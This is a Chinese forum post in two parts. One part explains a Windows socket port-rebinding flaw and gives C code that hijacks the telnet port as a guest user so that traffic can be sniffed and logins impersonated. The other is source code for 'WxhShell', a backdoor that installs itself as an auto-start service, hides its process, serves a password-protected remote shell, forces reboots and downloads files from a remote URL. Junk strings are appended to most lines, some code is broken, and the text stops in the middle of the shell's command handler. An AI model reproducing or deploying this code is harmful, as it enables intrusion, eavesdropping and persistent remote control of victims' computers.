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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: m/cbRuPWgP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uy~5!i&  
Y%anR|  
  saddr.sin_family = AF_INET; wvp\'* $  
hc`9Y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); C W7E2 ^P$  
 A5F< <  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lWd)(9K j  
=}Bq"m  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7.hVbjy'-  
L7wl3zG  
  这意味着什么?意味着可以进行如下的攻击: #HJF==  
$_@~t$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 aVO5zR./)  
0A9x9l9Wd  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "n7rbh3VW  
OzX\ s=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `P)1RTVx  
j<R,}nmD3\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  va95/(  
%R7Q`!@8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V7[Dvg:W  
/>FrMz8;(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V`pTl3  
kIiId8l  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 JUF[Y^C  
~i fq_Ag.  
  #include jF Bq>  
  #include ^ Gq2"rDM  
  #include *P61q\2Z  
  #include    i"F'n0*L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4+$<G/K  
  int main() ;=5V)1~i1;  
  { NQ'^ z  
  WORD wVersionRequested;  ^G~W}z?-  
  DWORD ret; % 95:yyH 0  
  WSADATA wsaData; ]6pxd \Q  
  BOOL val; =yz#L@\!  
  SOCKADDR_IN saddr;  !|9$  
  SOCKADDR_IN scaddr; (W5E\hjJ  
  int err; 5#80`/w^U  
  SOCKET s; Q7N4@w;e  
  SOCKET sc; gK-:t  
  int caddsize; Gyjx:EM  
  HANDLE mt; 5l=B,%s  
  DWORD tid;   9RE{,mos2v  
  wVersionRequested = MAKEWORD( 2, 2 ); "SNsOf  
  err = WSAStartup( wVersionRequested, &wsaData ); t TA6 p  
  if ( err != 0 ) { XG<^j}H{}  
  printf("error!WSAStartup failed!\n"); HdJLD+k/  
  return -1; i74^J+xk  
  } wTf0O@``6H  
  saddr.sin_family = AF_INET; v|?hc'Fj  
   nxsQDw\hy  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3+EJ%  
2^ ^;Q:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P>)-uLc~W  
  saddr.sin_port = htons(23); k]qZOO}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,au64sH  
  { 5caYA&R  
  printf("error!socket failed!\n"); N>/*)Frt  
  return -1; p87s99  
  } T 2x~fiM  
  val = TRUE; n{r+t=X  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %,K|v  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V~Tjz%<  
  { >-s}1*^=oD  
  printf("error!setsockopt failed!\n"); dsR{ P,!  
  return -1; H'q&1^w)  
  } $a15 8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6x]|IWvW  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?uU0NKZA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 KjZ^\lq'  
Pl}}!<!<z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mIFS/C  
  { ,^26.p$  
  ret=GetLastError();  ,H1J$=X'  
  printf("error!bind failed!\n"); yx{Ac|<mR  
  return -1; UciWrwE  
  } hO;bnt%(  
  listen(s,2); >:W)9o  
  while(1) J}._v\Q7P  
  { @tEVgyN  
  caddsize = sizeof(scaddr); ,H22;UV9  
  //接受连接请求 vEtogkFA"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); **_VNDK+  
  if(sc!=INVALID_SOCKET) |GdA0y\v*}  
  { iJ?8)}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Q, #M 0  
  if(mt==NULL) 'x+0 yd  
  { Pu/0<Orp7  
  printf("Thread Creat Failed!\n"); }td+F&l($V  
  break; sx*1D9s_  
  } Jgtv ia  
  } 2mu~hJ  
  CloseHandle(mt); n\,TW&3  
  } wS``Q8K+dM  
  closesocket(s); iL|*g3`-f  
  WSACleanup(); uqTOEHH7  
  return 0; kgr:8 5  
  }   @h>#cwhU  
  DWORD WINAPI ClientThread(LPVOID lpParam) zHb<YpU  
  { 4 3]6J]!)  
  SOCKET ss = (SOCKET)lpParam; Ct}"o  
  SOCKET sc; hf:n!+,C  
  unsigned char buf[4096]; :Jhx4/10  
  SOCKADDR_IN saddr; k`oXo%  
  long num; B|:{.U@ne  
  DWORD val; m9#u. Q*  
  DWORD ret; U|{WtuR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 RVI],O  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :&?#~NFH  
  saddr.sin_family = AF_INET; o&(%:|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ni2H~{]z  
  saddr.sin_port = htons(23); 82O`<Ci  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /rv XCA)j  
  { t$l[ 4 R-  
  printf("error!socket failed!\n"); a Q`a>&R0  
  return -1; mNb+V/*x3  
  } YLSG 5vF+  
  val = 100; Ql&P1|&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OQ+?nB  
  { *zX<`E  
  ret = GetLastError(); =_^g]?5i  
  return -1; X){F^1CT{  
  } et9 c<'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hp,T(D|  
  { HoRLy*nU  
  ret = GetLastError(); 2mU}"gf[  
  return -1; _x UhDu%  
  } ]"/ *7NM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (/k,q  
  { (]7@0d88  
  printf("error!socket connect failed!\n"); X\1D[n:  
  closesocket(sc); ngm7Vs  
  closesocket(ss); {F@;45)o  
  return -1; |I OTW=>  
  } Rx`0VQ  
  while(1) ulj`+D?H  
  { rBr28_i   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 V{d"cs>9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 n0vPW^EQ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^f<f&V  
  num = recv(ss,buf,4096,0); 5.GBd_;  
  if(num>0) <}4|R_xY#  
  send(sc,buf,num,0); 6@l:(-(j2A  
  else if(num==0) Z :Kob b  
  break; zEO 9TuBO  
  num = recv(sc,buf,4096,0); Jt)<RMQ^R  
  if(num>0) =602%ef\  
  send(ss,buf,num,0); KJ9~"v  
  else if(num==0)  K[?wP>s  
  break; FfD2 &(-R  
  } Llk`  
  closesocket(ss); HnY: gu  
  closesocket(sc); xFpJ#S&  
  return 0 ; ^xqh!  
  } .-WCB  
8V}c(2m  
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========================================================== |9_e2OwH  
8uI^ B  
下边附上一个代码,,WXhSHELL VJ=!0v  
IgFz[)  
========================================================== "4"L"lJ   
R0/~) P  
#include "stdafx.h" 7kJ,;30)  
?C $_?Qi  
#include <stdio.h> uk\GAm@O  
#include <string.h> b%)a5H(  
#include <windows.h> 7s.sbP~  
#include <winsock2.h> gl!3pTC  
#include <winsvc.h> )%MB o.NL  
#include <urlmon.h> rcyH2)Y/e  
As)-a5!  
#pragma comment (lib, "Ws2_32.lib") ,%,}[q?]d  
#pragma comment (lib, "urlmon.lib") bjvi`jyL3k  
=%]dk=n?TN  
#define MAX_USER   100 // 最大客户端连接数 :$}67b)MO  
#define BUF_SOCK   200 // sock buffer x1Si&0T0P<  
#define KEY_BUFF   255 // 输入 buffer ]h|GaHiE  
@NyCMe;]  
#define REBOOT     0   // 重启 [n:R]|^a  
#define SHUTDOWN   1   // 关机 E3gQ`+wNg?  
wwp vmb  
#define DEF_PORT   5000 // 监听端口 Q0 ^?jh  
pkxW19h*0  
#define REG_LEN     16   // 注册表键长度 #D>8\#53V/  
#define SVC_LEN     80   // NT服务名长度 90ORx\Oeo  
4Yn*q~f  
// 从dll定义API h[lh01z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N86Hn]#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5TnECk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #v~5f;[AAs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^T<<F}@q  
#K4wO!d  
// wxhshell配置信息 54'z"S:W  
struct WSCFG { 3gGF?0o  
  int ws_port;         // 监听端口 Fe/*U4xU  
  char ws_passstr[REG_LEN]; // 口令 IzL yn  
  int ws_autoins;       // 安装标记, 1=yes 0=no TnKe"TA|9  
  char ws_regname[REG_LEN]; // 注册表键名 Z#Zk)  
  char ws_svcname[REG_LEN]; // 服务名 P"xP%zqo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  UnO -?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1$ l3-x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r-!8in2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e8gD(T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f|< *2Mk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t=yM}#r$  
h\20  
}; M&>Z[o  
zb9$  
// default Wxhshell configuration 7%?A0%>6G  
struct WSCFG wscfg={DEF_PORT, y t<K!=7&  
    "xuhuanlingzhe", ^ 5UIbA(  
    1, icnp^2P  
    "Wxhshell", $:<KG&Br  
    "Wxhshell", k|g~xmI;  
            "WxhShell Service", IPY@9+]  
    "Wrsky Windows CmdShell Service", M<)HJ lr  
    "Please Input Your Password: ", #nu?b?X'  
  1, fYH%vr)  
  "http://www.wrsky.com/wxhshell.exe", fo5!d@Nv  
  "Wxhshell.exe" 2pB@qi-]  
    }; jmAWto}.  
e <IT2tv>u  
// 消息定义模块 jt;,7Ek  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /O&j1g@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U`:$1*(`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \6sp"KqP  
char *msg_ws_ext="\n\rExit."; mT)iN`$Y@  
char *msg_ws_end="\n\rQuit."; C$?dkmIt  
char *msg_ws_boot="\n\rReboot..."; /gPn2e;  
char *msg_ws_poff="\n\rShutdown..."; ] ^.#d  
char *msg_ws_down="\n\rSave to "; jLZ~9FXF2  
Bh@j6fv  
char *msg_ws_err="\n\rErr!"; N]5-#  
char *msg_ws_ok="\n\rOK!"; ^(a%B  
0P!6 .-XU  
char ExeFile[MAX_PATH]; ;zp0,[r  
int nUser = 0; g y&B"`  
HANDLE handles[MAX_USER]; 4wK!)Pwq  
int OsIsNt; WF:i}+g+^  
>-]Y%O;}  
SERVICE_STATUS       serviceStatus; y&SueU=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \E0Uj>9+[  
L.erP* w  
// 函数声明 oU{m\r  
int Install(void); 2AU_<Hr6  
int Uninstall(void); ^S[Mg6J  
int DownloadFile(char *sURL, SOCKET wsh); \5O4}sm$*  
int Boot(int flag); zQD$+q5h  
void HideProc(void); J;G+6C$:  
int GetOsVer(void); Rb\\6 BU0  
int Wxhshell(SOCKET wsl); (uRAK  
void TalkWithClient(void *cs); {HQ?  
int CmdShell(SOCKET sock); 4GaF:/  
int StartFromService(void); p+A#t~K  
int StartWxhshell(LPSTR lpCmdLine); [['un\~r~  
s_VP(Fe@K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;JDxl-~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MT|}[|_  
9r8*'.K`Z  
// 数据结构和表定义 Q7f\ 5QjT  
SERVICE_TABLE_ENTRY DispatchTable[] = A-4\;[P\  
{ q*-q5FE  
{wscfg.ws_svcname, NTServiceMain}, LiiQ;x  
{NULL, NULL} 347p2sK>  
}; 4WDh8U  
nV GrW#'E  
// 自我安装 KLlW\MF1  
int Install(void) *qGxQ?/  
{ -Vw,9VCF  
  char svExeFile[MAX_PATH]; ,GGr@})  
  HKEY key; ?!8M I,c/  
  strcpy(svExeFile,ExeFile); r1xN U0A  
V[A uw3)  
// 如果是win9x系统,修改注册表设为自启动 n|3ENN  
if(!OsIsNt) { #(!>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "M1[@xog  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @/XA*9]l  
  RegCloseKey(key); 91e&-acA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F}.<x5I-;h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $^d,>hJi  
  RegCloseKey(key);  I=|b3-  
  return 0; tec CU[O  
    } hQPiGIs  
  } XkOsnI8n  
} d\D.l^  
else { quVTqhg"  
vt@.fT#e  
// 如果是NT以上系统,安装为系统服务 xR\$2(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 27G6C`}  
if (schSCManager!=0) TU7Qt<  
{ LEWeybT  
  SC_HANDLE schService = CreateService ^6oz3+  
  ( CR&v z3\Q  
  schSCManager, $#8dtF  
  wscfg.ws_svcname, .[ NB"\<q  
  wscfg.ws_svcdisp, `/8Dmg  
  SERVICE_ALL_ACCESS, > QDmSy*&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6Jrh'6 o@  
  SERVICE_AUTO_START, V- Oy<  
  SERVICE_ERROR_NORMAL, Z$~Wr3/  
  svExeFile, +|KnO  
  NULL, OT&J OTk\  
  NULL, hK&jo(V  
  NULL, DHd9yP9-  
  NULL, C /\)-^  
  NULL iE!\)7y  
  ); G!uoKiL  
  if (schService!=0) g,r'].Jg  
  { fOtL6/?  
  CloseServiceHandle(schService); 8:|F'{<<b  
  CloseServiceHandle(schSCManager); AK} wSXF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6 `+dP"@  
  strcat(svExeFile,wscfg.ws_svcname); 1c8 J yp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S{7A3 x'B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k$j>_U? P  
  RegCloseKey(key); y}FTLX $  
  return 0; tQ&.;{5[f  
    } LaG./+IP  
  } CMI%jyiX  
  CloseServiceHandle(schSCManager); JJPU!  
} 4%0eX]  
} #ih(I7prH  
GBFYa6\4sT  
return 1; mADq_` j  
} esIE i!d  
mw-0n  
// 自我卸载 uK2MC?LP  
int Uninstall(void) b*\K I  
{ ]<V[H  
  HKEY key; ~D PjTR  
@bSxT,2  
if(!OsIsNt) { {m.l{<H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $h"tg9L^)  
  RegDeleteValue(key,wscfg.ws_regname); K*xqQ]&  
  RegCloseKey(key); LJt#c+]Li  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q;3.pRw(  
  RegDeleteValue(key,wscfg.ws_regname); N0,wT6.  
  RegCloseKey(key); BxS\ "W  
  return 0; ]Nz~4ebB  
  } 0GK<l  
} <Wn={1Ts"  
} 7F!_gj p  
else { zxTcjC)y  
^2rNty,nH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s`B]+  
if (schSCManager!=0) meA=lg?  
{ ,]+P#eXgE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nlOM4fJ(  
  if (schService!=0) 1JM EniB+9  
  { WwG78b-OA  
  if(DeleteService(schService)!=0) { Ri=>evx  
  CloseServiceHandle(schService); q\cH+n)C  
  CloseServiceHandle(schSCManager); F[BJhN*]a  
  return 0; 4 |9M8ocR  
  } [*GIR0  
  CloseServiceHandle(schService); SSEK9UX  
  } iZ}  w>1  
  CloseServiceHandle(schSCManager); |2z?8lx  
} xb1 i{d  
} >~8;H x].d  
;[V_w/-u  
return 1; _w0t+=&  
} ^1^k<  
:L*"OT7(6  
// 从指定url下载文件 #Drs=7w  
int DownloadFile(char *sURL, SOCKET wsh) Ab ,n^  
{ :vZ8n6J[  
  HRESULT hr; ? FGzw  
char seps[]= "/"; J6r"_>)z  
char *token; bw\fKZ  
char *file; &MKG#Y}  
char myURL[MAX_PATH]; 1D%3|_id^  
char myFILE[MAX_PATH]; 5 0uYU[W  
M0zJGIT~b  
strcpy(myURL,sURL); ofH=h  
  token=strtok(myURL,seps); ^m8T$^z>  
  while(token!=NULL) :iqFC >D  
  { &7"a.&*9xX  
    file=token; /T1z z2l~  
  token=strtok(NULL,seps); a+sHW<QeS  
  }  AV{3f`  
7N9~nEU  
GetCurrentDirectory(MAX_PATH,myFILE); #-*7<wN   
strcat(myFILE, "\\"); sLrSi  
strcat(myFILE, file); Z M_ 6A1  
  send(wsh,myFILE,strlen(myFILE),0); *5?a% p  
send(wsh,"...",3,0); o8Vtxnkg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ChO?Lm$y  
  if(hr==S_OK) ~b;l08 <  
return 0; D1]%2:  
else H'7AIY }  
return 1; zea=vx>`  
"h?;)Ye  
} :ZG^`H/X1d  
& 9X`tCnL  
// 系统电源模块 -;9pZ'r  
int Boot(int flag) |`d,r.+P7  
{ |TM&:4D]^  
  HANDLE hToken; |<tZ|  
  TOKEN_PRIVILEGES tkp; XN65bq  
b Lag&c)  
  if(OsIsNt) { ~_<I}!j/B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $.{CA-~%[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KzD5>Xf]4$  
    tkp.PrivilegeCount = 1; o (fZZ`6Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g-lF{Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WvSh i=  
if(flag==REBOOT) { >`L)E,=/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ."b=dkx  
  return 0; $Lg% CY  
} y Nb&;E7 H  
else { .I\)1kjX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hDa I@_86  
  return 0; tKg\qbY&  
} b*$/(2"m  
  } *AX)QKQ@  
  else { yem*g1  
if(flag==REBOOT) { NCbl|v=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7 +A-S9P)  
  return 0; )P4#P2  
} Vfew )]I  
else { D~_|`D5WK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `s74g0h  
  return 0; kB_uU !G  
} ] =ar&1}J  
} .C=&` ;Vs  
3&i8C,u]/O  
return 1; kcT?<r  
} dv3+x\`9  
[ox!MQ+s  
// win9x进程隐藏模块 r"#h6lYK&  
void HideProc(void) 5<Mht6"H  
{ _\yrR.HIa  
9`{[J['V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2}`Q9?  
  if ( hKernel != NULL ) DF D5">g@  
  { fq-$u;~h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 63:0Vt>hZ^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !g:UkU\J  
    FreeLibrary(hKernel); k 1;,eB  
  } [?TQ!l}8A  
)US|&> o8  
return; 2{naSiaq  
} G"!YV#"~  
'TclH80  
// 获取操作系统版本 }G n2%  
int GetOsVer(void) AU1P?lk  
{ #6{"c r6l  
  OSVERSIONINFO winfo; il^SGH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N!6{c~^  
  GetVersionEx(&winfo); +js3o@Ku{\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bh=d'9B@&J  
  return 1; "aNl2T  
  else `K[:<p}  
  return 0; tm\ <w H  
} wqDRFZ1*P  
^9T6Ix{=  
// 客户端句柄模块 EFeGxM  
int Wxhshell(SOCKET wsl) !NuYx9L?L  
{ -x )(2|  
  SOCKET wsh; pGw|T~e%  
  struct sockaddr_in client; {#M=gDhbX  
  DWORD myID; u:H@]z(x  
]RHR>=;  
  while(nUser<MAX_USER) PHRc*G{  
{ ?#]K54?  
  int nSize=sizeof(client); Yjz'lWg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wd*i&ooQ*L  
  if(wsh==INVALID_SOCKET) return 1; -k\7k2  
)f#@`lf[<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y{y #us1  
if(handles[nUser]==0) ,-u | l  
  closesocket(wsh); =!NYvwg6;o  
else I%xrDiK97  
  nUser++; }i_[wq{E&  
  } b7fP)nb695  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CaNZScnZ  
HN>eS Y+  
  return 0; %Fb"&F^7  
} oQ!}@CaN|  
J)(H-xvV  
// 关闭 socket EK. L>3  
void CloseIt(SOCKET wsh) }]sI?&xB  
{ ><iEVrpN  
closesocket(wsh); #I9|>XE1  
nUser--; DoWY*2E  
ExitThread(0); dtjaQsJM^  
} xD#PM |I  
lD2>`s 5  
// 客户端请求句柄 @Zd+XWFw  
void TalkWithClient(void *cs) }4xxge?r  
{ KmV#% d  
]OY6.m  
  SOCKET wsh=(SOCKET)cs; yAEOn/.~  
  char pwd[SVC_LEN]; g=; rM8W  
  char cmd[KEY_BUFF]; Y5LESZWo  
char chr[1]; l1`Zp9I  
int i,j; 6,  ag\  
<Xw 6m$fr:  
  while (nUser < MAX_USER) { L.(T"`-i  
^8)&~q*  
if(wscfg.ws_passstr) { U0u@[9!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D+rDgrv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GSV,  
  //ZeroMemory(pwd,KEY_BUFF); )Y~q6D K  
      i=0; y<PPO6u7  
  while(i<SVC_LEN) { d T/*O8  
&nn!{S^  
  // 设置超时 G/(oQA  
  fd_set FdRead; fT._Os?i  
  struct timeval TimeOut; ,IuO;UV#)  
  FD_ZERO(&FdRead); &dvJg  
  FD_SET(wsh,&FdRead); 7=om /  
  TimeOut.tv_sec=8; x[nv+n ,  
  TimeOut.tv_usec=0; [.<nt:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $Z 10Zf=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .&7=ZY>E  
U._ U!U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M@!Gk  
  pwd=chr[0]; ]Ke|wRQD  
  if(chr[0]==0xd || chr[0]==0xa) { _ %&"4bm.  
  pwd=0; )ACa0V>*p  
  break; vJ GxD\h  
  } v Xio1hu  
  i++; z1!ya#,$  
    } m|~,#d@  
f]$ g9H  
  // 如果是非法用户,关闭 socket %H<w.]>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _KmpC>J+  
} eJ{"\c(  
K *vNv 4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /Re1QS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UkNC|#l)  
G+[>or}  
while(1) { aC3\Hs  
avO+1<`4B  
  ZeroMemory(cmd,KEY_BUFF); ABhza|  
DJ} xD&G  
      // 自动支持客户端 telnet标准   xx;'WL,g  
  j=0; 6z%3l7#7Yi  
  while(j<KEY_BUFF) { %n}fkj'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); { KwLcSn  
  cmd[j]=chr[0]; cdU2ph_  
  if(chr[0]==0xa || chr[0]==0xd) { R$,`}@VqZ3  
  cmd[j]=0; nq/xD;q  
  break; ?0[%+AD hM  
  } &[cL%pP  
  j++; w])~m1yW  
    } >4M_jC.  
N _pJE?  
  // 下载文件 q(.%f3(  
  if(strstr(cmd,"http://")) { `H/HLCt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Cy6[p  
  if(DownloadFile(cmd,wsh)) 6El%T]^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =q xcM+OX1  
  else O-T/H-J`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u.hnQsM  
  } =5Q;quKu^5  
  else { (!X:[Ah*$  
u6r-{[W}  
    switch(cmd[0]) { xDADJ>u2K  
  mSQ!<1PM  
  // 帮助 yvDzxu  
  case '?': { 4vqu(w8 L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R<UjhCvx.  
    break; aE{b65'Dt  
  } "6KOql3  
  // 安装 Cc Ni8Wg_  
  case 'i': { PY z | d  
    if(Install()) $Uewv +  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HwST^\Ao  
    else g1zqh,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D@ =.4z  
    break; ? !~au0  
    } =:"@YD^a4  
  // 卸载 &u=FLp5  
  case 'r': { mz\ m^g3  
    if(Uninstall()) >MQW{^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `}Q;2 F  
    else 5,Q('t#J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8#Z$}?W  
    break; RuRJjcnY  
    } gu:..'V  
  // 显示 wxhshell 所在路径 N,[M8n,  
  case 'p': { ?J6hiQvL  
    char svExeFile[MAX_PATH]; qA30z%#z_  
    strcpy(svExeFile,"\n\r"); sL/Lw WH  
      strcat(svExeFile,ExeFile); \17)=W  
        send(wsh,svExeFile,strlen(svExeFile),0); n.1a1Tf  
    break;  &R^mpV5  
    } _R-#I  
  // 重启 HKxrBQr78  
  case 'b': { LoCxoAg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "R9kF-  
    if(Boot(REBOOT)) H`io|~Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fZ %ZV  
    else { {?L}qV  
    closesocket(wsh); JK_$A;Q  
    ExitThread(0); &P+cTN9)  
    } 4P:vo$Cy  
    break; hR`dRbBi%  
    } R>0ta  Q  
  // 关机 ?1412Tq5  
  case 'd': { ?5GjH~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *@BBlkcx  
    if(Boot(SHUTDOWN)) (Q&z1XK3  
